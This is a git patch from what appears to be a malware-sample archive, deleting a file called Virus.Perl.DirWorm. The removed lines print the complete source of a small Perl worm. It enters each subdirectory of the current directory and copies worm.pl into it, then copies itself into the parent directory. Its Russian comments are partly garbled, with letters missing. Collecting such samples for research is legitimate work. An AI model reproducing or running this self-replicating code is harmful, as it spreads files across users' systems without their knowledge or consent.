From 586be317a7143837384f75a6eb53b8c5625deb1a Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:35:41 -0600
Subject: [PATCH] Delete Virus.Perl.DirWorm

na
---
 Perl/Virus.Perl.DirWorm | 13 -------------
 1 file changed, 13 deletions(-)
 delete mode 100644 Perl/Virus.Perl.DirWorm

diff --git a/Perl/Virus.Perl.DirWorm b/Perl/Virus.Perl.DirWorm
deleted file mode 100644
index b2b7fc5b..00000000
--- a/Perl/Virus.Perl.DirWorm
+++ /dev/null
@@ -1,13 +0,0 @@
-# DirWorm by -Byst- (c) 1999
-while (<*>)                     # Ищем все ф йлы в текущей директории
-{
-  if (chdir($_)) {              # Если это директория - сменить текущую н  нее
-   @command = ("cp ../worm.pl ./worm.pl > /dev/null");
-   system @command;             # Вызов системной функции копиров ния ф йл 
-   chdir("..");                 # Возр щ емся обр тно в н ч льную директорию
-  }
-}
-@command = ("cp ./worm.pl ../worm.pl");
-system @command;                # Копируем тело в родительскую директорию
-
-